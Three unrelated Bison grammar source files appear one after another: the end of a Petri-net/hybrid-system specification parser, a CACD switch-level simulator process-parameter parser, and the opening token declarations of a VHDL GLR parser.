rate_ineqs : rate_ineqs ';' rate_ineq
{
$$ = $3;
((ineqADT)$3)->next = (ineqADT)$1;
}
| rate_ineq
{
$$ = $1;
}
;
ineq : place ASSIGN hsf
{
$$ = (Node*)Enter_Inequality($1,5,-INFIN,INFIN,(char*)$3);
}
;
rate_ineq : place ASSIGN hsf
{
$$ = (Node*)Enter_Inequality($1,6,-INFIN,INFIN,(char*)$3);
}
;
exprd : '(' hsf DISABLE { $$ = $2; }
;
plow : { $$ = NULL; }
| '/' INTEGER
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$2);
strcat((char*)$$,"/");
free($2);
}
| '\\' INTEGER
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$2);
strcat((char*)$$,"\\");
free($2);
}
| '/' '-' INTEGER
{
$$ = (Node*)GetBlock (strlen((char*)$3)+3);
strcpy((char*)$$,"-");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,"/");
free($3);
}
| '\\' '-' INTEGER
{
$$ = (Node*)GetBlock (strlen((char*)$3)+3);
strcpy((char*)$$,"-");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,"\\");
free($3);
}
| '/' '-' INF
{
$$ = (Node*)GetBlock (strlen((char*)$3)+3);
strcpy((char*)$$,"-");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,"/");
free($3);
}
| '\\' '-' INF
{
$$ = (Node*)GetBlock (strlen((char*)$3)+3);
strcpy((char*)$$,"-");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,"\\");
free($3);
}
;
pup : { $$ = NULL; }
| ';' '-' INTEGER '\\'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+3);
strcpy((char*)$$,"-");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,"\\");
free($3);
}
| ';' '-' INTEGER '/'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+3);
strcpy((char*)$$,"-");
strcat((char*)$$,(char*)$3);
strcat((char*)$$,"/");
free($3);
}
| ';' INTEGER '\\'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$2);
strcat((char*)$$,"\\");
free($2);
}
| ';' INTEGER '/'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$2);
strcat((char*)$$,"/");
free($2);
}
| ';' INF '\\'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$2);
strcat((char*)$$,"\\");
free($2);
}
| ';' INF '/'
{
$$ = (Node*)GetBlock (strlen((char*)$2)+2);
strcpy((char*)$$,(char*)$2);
strcat((char*)$$,"/");
free($2);
}
;
lower : { $$ = NULL; }
| '[' INTEGER { $$ = $2; }
;
upper : { $$ = NULL; }
| ',' INTEGER ']' { $$ = $2; }
| ',' INF ']' { $$ = $2; }
;
rate : { $$ = NULL; }
| REAL { $$ = $1; }
;
weight : { $$ = NULL; }
| INTEGER { $$ = $1; }
;
node : signal_trans
{
$$ = $1;
}
| place
{
$$ = $1;
}
;
signal_trans : ID '+'
{
$$ = Enter_Trans ((char*)$1, "", '+');
free($1);
}
| ID '+' '/' INTEGER
{
$$ = Enter_Trans ((char*)$1, (char*)$4, '+');
free($1);
free($4);
}
| ID '-'
{
$$ = Enter_Trans ((char*)$1, "", '-');
free($1);
}
| ID '-' '/' INTEGER
{
$$ = Enter_Trans ((char*)$1, (char*)$4, '-');
free($1);
free($4);
}
;
enables : '{' enable_set '}'
;
enable_set : enable_set enable
| /*enable*/
;
enable : '<' node '=' '[' hsf_ineqs ']' '>'
{
string hsfs = (char*)$5;
ineqADT ineqs = NULL;
ineqADT temp;
string hsf;
while (hsfs.find("&") != string::npos ||
hsfs.find("|") != string::npos) {
if (hsfs.find("&") < hsfs.find("|")) {
hsf = hsfs.substr(0,hsfs.find("&"));
hsfs = hsfs.substr(hsfs.find("&")+1,string::npos);
} else {
hsf = hsfs.substr(0,hsfs.find("|"));
hsfs = hsfs.substr(hsfs.find("|")+1,string::npos);
}
temp = parsehsf(hsf);
if (temp) {
if (!ineqs)
ineqs = temp;
else {
for (ineqADT step = ineqs; step;
step = step->next) {
if (!step->next) {
step->next = temp;
break;
}
}
}
}
}
hsf = hsfs;
temp = parsehsf(hsf);
if (temp) {
if (!ineqs)
ineqs = temp;
else {
for (ineqADT step = ineqs; step;
step = step->next) {
if (!step->next) {
step->next = temp;
break;
}
}
}
}
if (!$2->inequalities) {
$2->inequalities = ineqs;
}
else {
for (ineqADT step = $2->inequalities; step;
step = step->next) {
if (!step->next) {
step->next = temp;
break;
}
}
}
Enter_Hsl($2,(char*)$5);
free($5);
}
;
assigns : '{' assign_set '}'
;
assign_set : assign_set assign
| /*assign*/
;
assign : '<' node '=' '[' ineqs ']' '>'
{
if (!$2->inequalities) {
$2->inequalities = (ineqADT)$5;
}
else {
for (ineqADT step = $2->inequalities; step;
step = step->next) {
if (!step->next) {
step->next = (ineqADT)$5;
break;
}
}
}
}
;
rate_assigns : '{' rate_assign_set '}'
;
rate_assign_set : rate_assign_set rate_assign
| /*rate_assign*/
;
rate_assign : '<' node '=' '[' rate_ineqs ']' '>'
{
if (!$2->inequalities) {
$2->inequalities = (ineqADT)$5;
}
else {
for (ineqADT step = $2->inequalities; step;
step = step->next) {
if (!step->next) {
step->next = (ineqADT)$5;
break;
}
}
}
}
delay_assigns : '{' delay_assign_set '}'
;
delay_assign_set : delay_assign_set delay_assign
| /*delay_assign*/
;
delay_assign : '<' node '=' UNIFORM '(' INTEGER ',' INTEGER ')' '>'
{
Enter_Delay($2,atoi((char*)$6),atoi((char*)$8));
}
| '<' node '=' UNIFORM '(' INTEGER ',' INF ')' '>'
{
Enter_Delay($2,atoi((char*)$6),INFIN);
}
| '<' node '=' EXPONENTIAL '(' hsf ')' '>'
{
Enter_TransRate($2,(char*)$6);
free($5);
}
| '<' node '=' '[' INTEGER ',' INTEGER ']' '>'
{
Enter_Delay($2,atoi((char*)$5),atoi((char*)$7));
}
| '<' node '=' '[' INTEGER ',' INF ']' '>'
{
Enter_Delay($2,atoi((char*)$5),INFIN);
}
| '<' node '=' INTEGER '>'
{
Enter_Delay($2,atoi((char*)$4),atoi((char*)$4));
}
| '<' node '=' '[' hsf ']' '>'
{
Enter_DelayExpr($2,(char*)$5);
}
;
priority_assigns : '{' priority_assign_set '}'
;
priority_assign_set : priority_assign_set priority_assign
| /*priority_assign*/
;
priority_assign : '<' node '=' '[' hsf ']' '>'
{
Enter_PriorityExpr($2,(char*)$5);
}
;
transition_rates : '{' transition_rate_set '}'
;
transition_rate_set : transition_rate_set transition_rate
| /*transition_rate*/
;
transition_rate : '<' node '=' '[' hsf ']' '>'
{
Enter_TransRate($2,(char*)$5);
free($5);
}
;
bool_assigns : '{' bool_assign_set '}'
;
bool_assign_set : bool_assign_set bool_assign
| /* bool_assign */
;
bool_assign : '<' node '=' '[' bool_ineqs ']' '>'
{
if (!$2->inequalities) {
$2->inequalities = (ineqADT)$5;
}
else {
for (ineqADT step = $2->inequalities; step;
step = step->next) {
if (!step->next) {
step->next = (ineqADT)$5;
break;
}
}
}
}
bool_ineqs : bool_ineqs ';' bool_ineq
{
$$ = $3;
((ineqADT)$3)->next = (ineqADT)$1;
}
| bool_ineq
{
$$ = $1;
}
;
bool_ineq : ID ASSIGN hsf
{
Name_Ptr nptr;
nptr = Name_Find_Str((char*)$1);
if ( nptr == NULL ) {
printf ("Boolean %s doesn't exist in list.\n",
(char*)$1);
gerror("ERROR");
}
else {
$$ = (Node*)Enter_Inequality(Name_Node(nptr),7,-INFIN,INFIN,(char*)$3);
}
}
;
vevents : vevents ',' vevent
| vevent
;
vevent : ID
{
$$ = Enter_Trans ((char*)$1, "", '$');
Node_Ptr n = Enter_Place (strcat((char*)$1,"_p"));
Enter_Pred (n, $$);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL, "C", false, 1.0, 1);
Enter_Mark (&initial_marking, PLACE_MARK, NULL, n, 1, 1);
}
| NOT ID
{
$$ = Enter_Trans ((char*)$2, "", '$');
Node_Ptr n = Enter_Place (strcat((char*)$2,"_p"));
Enter_Pred (n, $$);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL, "C", false, 1.0, 1);
}
| signal_trans
{
Node_Ptr n = Enter_Place (strcat((char*)$1,"_p"));
Enter_Pred (n, $$);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,"C", false, 1.0, 1);
Enter_Mark (&initial_marking, PLACE_MARK, NULL, n, 1, 1);
}
| NOT signal_trans
{
Node_Ptr n = Enter_Place (strcat((char*)$2,"_p"));
Enter_Pred (n, $$);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,"C", false, 1.0, 1);
}
;
sevents : sevents ',' sevent
| sevent
;
sevent : ID
{
$$ = Enter_Trans ((char*)$1, "", '$');
Node_Ptr n = Enter_Trans ("dummy", "", '$');
Enter_Pred ($$, n);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,"C", false, 1.0, 1);
}
| NOT ID
{
$$ = Enter_Trans ((char*)$2, "", '$');
Node_Ptr n = Enter_Place (strcat((char*)$2,"_p"));
Enter_Pred (n, $$);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,"C", false, 1.0, 1);
Enter_Mark (&initial_marking, PLACE_MARK, NULL, n, 1, 1);
}
| signal_trans
{
Node_Ptr n = Enter_Trans ("dummy", "", '$');
Enter_Pred ($$, n);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,"C", false, 1.0, 1);
}
| NOT signal_trans
{
Node_Ptr n = Enter_Place (strcat((char*)$2,"_p"));
Enter_Pred (n, $$);
Enter_Succ (n, $$, 0, INFIN, 0, (-1)*INFIN, INFIN, NULL,
NULL,"C", false, 1.0, 1);
Enter_Mark (&initial_marking, PLACE_MARK, NULL, n, 1, 1);
}
;
%%
//Simple int to string converstion helper function
string numToString(int num) {
char cnumber[50];
sprintf(cnumber, "%i", (int)num);
string toReturn = cnumber;
return toReturn;
}
// remove extraneous elements from lHS of inequality.
// only really matters when result is single continuous variable.
string lhs_strip(string hsf){
//cout <<"LHS Strip of " <<hsf;
while (hsf.find("~") != string::npos) {
hsf.replace(hsf.find("~"),1,"");
}
while (hsf.find("(") != string::npos) {
hsf.replace(hsf.find("("),1,"");
}
while (hsf.find(")") != string::npos) {
hsf.replace(hsf.find(")"),1,"");
}
while (hsf.find(" ") != string::npos) {
hsf.replace(hsf.find(" "),1,"");
}
// cout <<"="<<hsf<<endl;
return hsf;
}
// remove spaces and trailing elements from inequality RHS
string rhs_strip(string hsf){
unsigned int i;
int count = 0,unmatch = 0;
//cout <<"RHS Strip of " <<hsf;
// strip spaces, I think flex already does this...
while (hsf.find(" ") != string::npos) {
hsf.replace(hsf.find(" "),1,"");
}
//search for parens to remove trailing elements.
//remove everything after the first unmatched ')'
for(i = 0;i<hsf.length();i++){
if (hsf.c_str()[i] == '(')
count++;
if (hsf.c_str()[i] == ')')
count--;
if (count == -1){
unmatch = 1;
break;
}
}
if (unmatch){
//cout << "unmatched parenthesis, i = \n"<<i<< ;
hsf = hsf.substr(0,i);
}
//cout <<"="<<hsf<<endl;
return hsf;
}
ineqADT parsehsf(string hsf) {
string place,num;
int type;
//cout << hsf<<endl;
if (hsf.find(">=") != string::npos) {
place = lhs_strip(hsf.substr(0,hsf.find(">=")));
num = rhs_strip(hsf.substr(hsf.find(">=")+2,string::npos));
type = 1;
//enter inequality type 1
}
else if (hsf.find("<=") != string::npos) {
place = lhs_strip(hsf.substr(0,hsf.find("<=")));
num = rhs_strip(hsf.substr(hsf.find("<=")+2,string::npos));
type = 3;
//enter inequality type 3
}
else if (hsf.find(">") != string::npos) {
place = lhs_strip(hsf.substr(0,hsf.find(">")));
num = rhs_strip(hsf.substr(hsf.find(">")+1,string::npos));
type = 0;
//enter inequality type 0
}
else if (hsf.find("<") != string::npos) {
place = lhs_strip(hsf.substr(0,hsf.find("<")));
num = rhs_strip(hsf.substr(hsf.find("<")+1,string::npos));
type = 2;
//enter inequality type 2
}
else if (hsf.find("=") != string::npos) {
place = lhs_strip( hsf.substr(0,hsf.find("=")));
num = rhs_strip(hsf.substr(hsf.find("=")+1,string::npos));
type = 4;
//enter inequality type 4
}
else {
return NULL;
}
char *placestr = CopyString(place.c_str());
int str_num = atoi(num.c_str());
char *num_str = new char[255];
sprintf(num_str,"%d",str_num);
// if (!strcmp(num.c_str(),num_str))
Node *LHS = Enter_Place(placestr,0);
if (LHS != NULL)
return Enter_Inequality(LHS,type,
atoi(num.c_str()),
atoi(num.c_str()),
CopyString(num.c_str()));
else
return NULL;
}
int yyerror (char *s)
{
printf ("%s at Line %d\n",s,line_num);
fprintf (lg,"%s at Line %d\n",s,line_num);
YY_FLUSH_BUFFER;
completed=false;
return 1;
}
|
<reponame>yrrapt/cacd
%{
/*
* ISC License
*
* Copyright (C) 1986-2018 by
* <NAME>
* <NAME>
* <NAME>
* <NAME>
* Delft University of Technology
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include "src/sls/extern.h"
extern void yy1error (char *s);
extern int yy1lex (void);
extern int yy1parse (void);
static void ftabstore (SPECIF *sp, char o, double fval);
#undef MAXINT
#undef MAXLONG
extern ENHSPECIFS nenhspec;
extern ENHSPECIFS penhspec;
extern DEPLSPECIFS deplspec;
float c_l;
float c_lmin;
float c_loffset;
float c_w;
float c_wmin;
float c_woffset;
int lftab_ind;
int wftab_ind;
GENSPECIFS * c_genspblock;
MODESPECIFS * c_modespblock;
ENHSPECIFS * c_enhspblock;
DEPLSPECIFS * c_deplspblock;
char * proc_err_list[] = {
"too much different values for w or l now",
"w and l not consistant with wmin and lmin"
};
#ifdef YYBISON
extern int yy1lineno; /* exported from LEX output */
#endif
%}
%union
{
char * sval;
int ival;
double fval;
}
%token <sval> INT
%token <fval> FLO
%token VH VSWITCH VMINH VMAXL KRISE KFALL NENH PENH NDEP END
%token PULLUP PULLDOWN PASSUP PASSDOWN LOAD
%token SUPERLOAD RSTAT RSATU CGSTAT CGRISE CGFALL
%token CESTAT CERISE CEFALL RDYN CCH
%token LOFFSET WOFFSET L W EQUAL COLON
/*
%type <ival> integer
*/
%type <fval> real
%start proc_desc
%%
proc_desc : lvolt_desc k_desc nenh_desc penh_desc depl_desc
;
lvolt_desc : VH EQUAL real
vswitch_descr
VMINH EQUAL real
VMAXL EQUAL real
{
if (vHtmp < 0) vHtmp = $3;
if (vminH < 0) vminH = $7;
if (vmaxL < 0) vmaxL = $10;
}
;
vswitch_descr : VSWITCH EQUAL real
{
vswitch = $3;
}
| /* empty */
;
k_desc : KRISE EQUAL real
KFALL EQUAL real
{
krise = $3;
kfall = $6;
}
;
nenh_desc : /* empty */
{
nenhspec.tspecdef = FALSE;
}
| NENH
{
nenhspec.tspecdef = TRUE;
c_enhspblock = &nenhspec;
}
enhspecifs END
;
penh_desc : /* empty */
{
penhspec.tspecdef = FALSE;
}
| PENH
{
penhspec.tspecdef = TRUE;
c_enhspblock = &penhspec;
}
enhspecifs END
;
depl_desc :/* empty */
{
deplspec.tspecdef = FALSE;
}
| NDEP
{
deplspec.tspecdef = TRUE;
c_deplspblock = &deplspec;
}
deplspecifs END
;
enhspecifs :
{
c_genspblock = &c_enhspblock->general;
}
genspecs PULLUP
{
c_modespblock = &c_enhspblock->pullup;
}
modespecs END PULLDOWN
{
c_modespblock = &c_enhspblock->pulldown;
}
modespecs END PASSUP
{
c_modespblock = &c_enhspblock->passup;
}
modespecs END PASSDOWN
{
c_modespblock = &c_enhspblock->passdown;
}
modespecs END
;
deplspecifs :
{
c_genspblock = &c_deplspblock->general;
}
genspecs LOAD
{
c_modespblock = &c_deplspblock->load;
}
modespecs END SUPERLOAD
{
c_modespblock = &c_deplspblock->superload;
}
modespecs END
;
genspecs : LOFFSET EQUAL real
WOFFSET EQUAL real
{
c_loffset = $3;
c_woffset = $6;
}
gstats
{
c_genspblock->rstat.lftab[lftab_ind].x = -1;
c_genspblock->rstat.wftab[wftab_ind].x = -1;
c_genspblock->rsatu.lftab[lftab_ind].x = -1;
c_genspblock->rsatu.wftab[wftab_ind].x = -1;
c_genspblock->cgstat.lftab[lftab_ind].x = -1;
c_genspblock->cgstat.wftab[wftab_ind].x = -1;
c_genspblock->cgrise.lftab[lftab_ind].x = -1;
c_genspblock->cgrise.wftab[wftab_ind].x = -1;
c_genspblock->cgfall.lftab[lftab_ind].x = -1;
c_genspblock->cgfall.wftab[wftab_ind].x = -1;
c_genspblock->cestat.lftab[lftab_ind].x = -1;
c_genspblock->cestat.wftab[wftab_ind].x = -1;
c_genspblock->cerise.lftab[lftab_ind].x = -1;
c_genspblock->cerise.wftab[wftab_ind].x = -1;
c_genspblock->cefall.lftab[lftab_ind].x = -1;
c_genspblock->cefall.wftab[wftab_ind].x = -1;
}
;
gstats : /* empty */
{
lftab_ind = 0;
wftab_ind = 0;
c_genspblock->rstat.ldepend = LINEAIR;
c_genspblock->rstat.wdepend = INVERSE;
c_genspblock->rstat.loffset = c_loffset;
c_genspblock->rstat.woffset = c_woffset;
c_genspblock->rsatu.ldepend = LINEAIR;
c_genspblock->rsatu.wdepend = INVERSE;
c_genspblock->rsatu.loffset = c_loffset;
c_genspblock->rsatu.woffset = c_woffset;
c_genspblock->cgstat.ldepend = LINEAIR;
c_genspblock->cgstat.wdepend = LINEAIR;
c_genspblock->cgstat.loffset = c_loffset;
c_genspblock->cgstat.woffset = c_woffset;
c_genspblock->cgrise.ldepend = LINEAIR;
c_genspblock->cgrise.wdepend = LINEAIR;
c_genspblock->cgrise.loffset = c_loffset;
c_genspblock->cgrise.woffset = c_woffset;
c_genspblock->cgfall.ldepend = LINEAIR;
c_genspblock->cgfall.wdepend = LINEAIR;
c_genspblock->cgfall.loffset = c_loffset;
c_genspblock->cgfall.woffset = c_woffset;
c_genspblock->cestat.ldepend = NOT;
c_genspblock->cestat.wdepend = LINEAIR;
c_genspblock->cestat.loffset = c_loffset;
c_genspblock->cestat.woffset = c_woffset;
c_genspblock->cerise.ldepend = NOT;
c_genspblock->cerise.wdepend = LINEAIR;
c_genspblock->cerise.loffset = c_loffset;
c_genspblock->cerise.woffset = c_woffset;
c_genspblock->cefall.ldepend = NOT;
c_genspblock->cefall.wdepend = LINEAIR;
c_genspblock->cefall.loffset = c_loffset;
c_genspblock->cefall.woffset = c_woffset;
}
| gstats gstat
;
gstat : dimstat COLON
RSTAT EQUAL real
RSATU EQUAL real
CGSTAT EQUAL real
CGRISE EQUAL real
CGFALL EQUAL real
CESTAT EQUAL real
CERISE EQUAL real
CEFALL EQUAL real
{
if (lftab_ind == 0 && wftab_ind == 0) {
c_genspblock->rstat.lmin = c_l;
c_genspblock->rstat.wmin = c_w;
c_genspblock->rsatu.lmin = c_l;
c_genspblock->rsatu.wmin = c_w;
c_genspblock->cgstat.lmin = c_l;
c_genspblock->cgstat.wmin = c_w;
c_genspblock->cgrise.lmin = c_l;
c_genspblock->cgrise.wmin = c_w;
c_genspblock->cgfall.lmin = c_l;
c_genspblock->cgfall.wmin = c_w;
c_genspblock->cestat.lmin = c_l;
c_genspblock->cestat.wmin = c_w;
c_genspblock->cerise.lmin = c_l;
c_genspblock->cerise.wmin = c_w;
c_genspblock->cefall.lmin = c_l;
c_genspblock->cefall.wmin = c_w;
c_lmin = c_l;
c_wmin = c_w;
ftabstore (&c_genspblock->rstat, 'l', $5);
ftabstore (&c_genspblock->rstat, 'w', $5);
ftabstore (&c_genspblock->rsatu, 'l', $8);
ftabstore (&c_genspblock->rsatu, 'w', $8);
ftabstore (&c_genspblock->cgstat, 'l', $11);
ftabstore (&c_genspblock->cgstat, 'w', $11);
ftabstore (&c_genspblock->cgrise, 'l', $14);
ftabstore (&c_genspblock->cgrise, 'w', $14);
ftabstore (&c_genspblock->cgfall, 'l', $17);
ftabstore (&c_genspblock->cgfall, 'w', $17);
ftabstore (&c_genspblock->cestat, 'l', $20);
ftabstore (&c_genspblock->cestat, 'w', $20);
ftabstore (&c_genspblock->cerise, 'l', $23);
ftabstore (&c_genspblock->cerise, 'w', $23);
ftabstore (&c_genspblock->cefall, 'l', $26);
ftabstore (&c_genspblock->cefall, 'w', $26);
lftab_ind++;
wftab_ind++;
}
else if (c_l == c_lmin && c_w > c_wmin) {
if (wftab_ind >= MAXFTAB)
slserror (fn_proc, yy1lineno, ERROR1, proc_err_list[0], NULL);
ftabstore (&c_genspblock->rstat, 'w', $5);
ftabstore (&c_genspblock->rsatu, 'w', $8);
ftabstore (&c_genspblock->cgstat, 'w', $11);
ftabstore (&c_genspblock->cgrise, 'w', $14);
ftabstore (&c_genspblock->cgfall, 'w', $17);
ftabstore (&c_genspblock->cestat, 'w', $20);
ftabstore (&c_genspblock->cerise, 'w', $23);
ftabstore (&c_genspblock->cefall, 'w', $26);
wftab_ind++;
}
else if (c_w == c_wmin && c_l > c_lmin) {
if (lftab_ind >= MAXFTAB)
slserror (fn_proc, yy1lineno, ERROR1, proc_err_list[0], NULL);
ftabstore (&c_genspblock->rstat, 'l', $5);
ftabstore (&c_genspblock->rsatu, 'l', $8);
ftabstore (&c_genspblock->cgstat, 'l', $11);
ftabstore (&c_genspblock->cgrise, 'l', $14);
ftabstore (&c_genspblock->cgfall, 'l', $17);
ftabstore (&c_genspblock->cestat, 'l', $20);
ftabstore (&c_genspblock->cerise, 'l', $23);
ftabstore (&c_genspblock->cefall, 'l', $26);
lftab_ind++;
}
else {
slserror (fn_proc, yy1lineno, ERROR1, proc_err_list[1], NULL);
}
}
;
modespecs : mstats
{
c_modespblock->rdyn.lftab[lftab_ind].x = -1;
c_modespblock->rdyn.wftab[wftab_ind].x = -1;
c_modespblock->cch.lftab[lftab_ind].x = -1;
c_modespblock->cch.wftab[wftab_ind].x = -1;
}
;
mstats : /* empty */
{
lftab_ind = 0;
wftab_ind = 0;
c_modespblock->rdyn.ldepend = LINEAIR;
c_modespblock->rdyn.wdepend = INVERSE;
c_modespblock->rdyn.loffset = c_loffset;
c_modespblock->rdyn.woffset = c_woffset;
c_modespblock->cch.ldepend = LINEAIR;
c_modespblock->cch.wdepend = LINEAIR;
c_modespblock->cch.loffset = c_loffset;
c_modespblock->cch.woffset = c_woffset;
}
| mstats mstat
;
mstat : dimstat COLON
RDYN EQUAL real
CCH EQUAL real
{
if (lftab_ind == 0 && wftab_ind == 0) {
c_modespblock->rdyn.lmin = c_l;
c_modespblock->rdyn.wmin = c_w;
c_modespblock->cch.lmin = c_l;
c_modespblock->cch.wmin = c_w;
c_lmin = c_l;
c_wmin = c_w;
ftabstore (&c_modespblock->rdyn, 'l', $5);
ftabstore (&c_modespblock->rdyn, 'w', $5);
ftabstore (&c_modespblock->cch, 'l', $8);
ftabstore (&c_modespblock->cch, 'w', $8);
lftab_ind++;
wftab_ind++;
}
else if (c_l == c_lmin && c_w > c_wmin) {
if (wftab_ind >= MAXFTAB)
slserror (fn_proc, yy1lineno, ERROR1, proc_err_list[0], NULL);
ftabstore (&c_modespblock->rdyn, 'w', $5);
ftabstore (&c_modespblock->cch, 'w', $8);
wftab_ind++;
}
else if (c_w == c_wmin && c_l > c_lmin) {
if (lftab_ind >= MAXFTAB)
slserror (fn_proc, yy1lineno, ERROR1, proc_err_list[0], NULL);
ftabstore (&c_modespblock->rdyn, 'l', $5);
ftabstore (&c_modespblock->cch, 'l', $8);
lftab_ind++;
}
else {
slserror (fn_proc, yy1lineno, ERROR1, proc_err_list[1], NULL);
}
}
;
dimstat : wstat lstat
| lstat wstat
;
wstat : W EQUAL real
{
c_w = $3;
if (c_w >= 0.1) c_w = c_w * 1e-6; /* micro unit */
}
;
lstat : L EQUAL real
{
c_l = $3;
if (c_l >= 0.1) c_l = c_l * 1e-6; /* micro unit */
}
;
/*
integer : INT
{
$$ = atoi($1);
}
;
*/
real : INT
{
$$ = atoi($1);
}
| FLO
{
$$ = $1;
}
;
%%
#include "procp_l.h"
static void ftabstore (SPECIF *sp, char o, double fval)
{
FTAB_EL * ftab;
int ind;
float dim;
float sfval = fval;
if (o == 'l') {
ftab = sp->lftab;
ind = lftab_ind;
dim = c_l;
}
else { // 'w'
ftab = sp->wftab;
ind = wftab_ind;
dim = c_w;
}
switch (sp->ldepend) {
case NOT :
break;
case LINEAIR :
sfval = sfval / (c_l - sp->loffset);
break;
case INVERSE :
sfval = sfval * (c_l - sp->loffset);
break;
}
switch (sp->wdepend) {
case NOT :
break;
case LINEAIR :
sfval = sfval / (c_w - sp->woffset);
break;
case INVERSE :
sfval = sfval * (c_w - sp->woffset);
break;
}
(ftab + ind)->x = dim;
(ftab + ind)->fx = sfval;
}
void yy1error (char *s)
{
slserror (fn_proc, yy1lineno, ERROR1, s, NULL);
}
int yy1wrap ()
{
return (1);
}
|
/*
Copyright (c) 2016-2017, <NAME> <<EMAIL>>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
// GLR parser for (hopefully) all of VHDL. The parser should not actually
// require GLR, but it is definitely LR(k > 1). A TODO item is to fix this.
// This parser accepts a subset of what is permitted by the IEEE 1076-2008
// EBNF, but it should accept a superset of what is permitted by the
// combination of the EBNF and the semantic rules. Most of the difficultly
// lies in the "name" and "subtype_indication" rules.
// One of the design decisions in this parser was to have absolutely as little
// logic and processing in the Bison grammar as possible. This was done in the
// hopes that it makes it easier to ever reuse this grammar file in tools other
// than Bison. This is the reason why the parser e.g. returns nested node
// objects rather than a list object.
%{
#include <string>
#define VHDL_PARSER_IN_BISON
#include "vhdl_parser_glue.h"
// We seem to easily blow the parser stack in GLR mode, so set the maximum
// stack depth to something huge.
#define YYMAXDEPTH 10000000
// This macro stores line numbering information into the semantic value.
#define STORE_LOC(lval, lloc) do { \
lval->first_line = lloc.first_line; \
lval->first_column = lloc.first_column + 1; \
lval->last_line = lloc.last_line; \
lval->last_column = lloc.last_column + 1; \
} while(0)
%}
%name-prefix "frontend_vhdl_yy"
// Make the parser reentrant
%define api.pure
%lex-param {void *scanner} {std::string &errors}
{std::set<VhdlParseTreeNode *> &to_delete_queue}
%parse-param {void *scanner} {VhdlParseTreeNode **parse_output}
{std::string &errors} {std::set<VhdlParseTreeNode *> &to_delete_queue}
%locations
%glr-parser
// We get a decent number of "mysterious conflicts" the way the grammar is
// currently structured (mostly due to type_mark). IELR mode cuts down on
// conflicts significantly.
// FIXME: Explain where exactly conflicts come from.
%define lr.type ielr
%define parse.error verbose
%debug
%define api.value.type {struct VhdlParseTreeNode *}
%destructor {
if ($$) {
if (!(*parse_output) || $$ != *parse_output) {
to_delete_queue.insert($$);
}
}
} <>
//////////////////////// Reserved words, section 15.10 ////////////////////////
%token KW_ABS
%token KW_ACCESS
%token KW_AFTER
%token KW_ALIAS
%token KW_ALL
%token KW_AND
%token KW_ARCHITECTURE
%token KW_ARRAY
%token KW_ASSERT
%token KW_ASSUME
%token KW_ASSUME_GUARANTEE
%token KW_ATTRIBUTE
%token KW_BEGIN
%token KW_BLOCK
%token KW_BODY
%token KW_BUFFER
%token KW_BUS
%token KW_CASE
%token KW_COMPONENT
%token KW_CONFIGURATION
%token KW_CONSTANT
%token KW_CONTEXT
%token KW_COVER
%token KW_DEFAULT
%token KW_DISCONNECT
%token KW_DOWNTO
%token KW_ELSE
%token KW_ELSIF
%token KW_END
%token KW_ENTITY
%token KW_EXIT
%token KW_FAIRNESS
%token KW_FILE
%token KW_FOR
%token KW_FORCE
%token KW_FUNCTION
%token KW_GENERATE
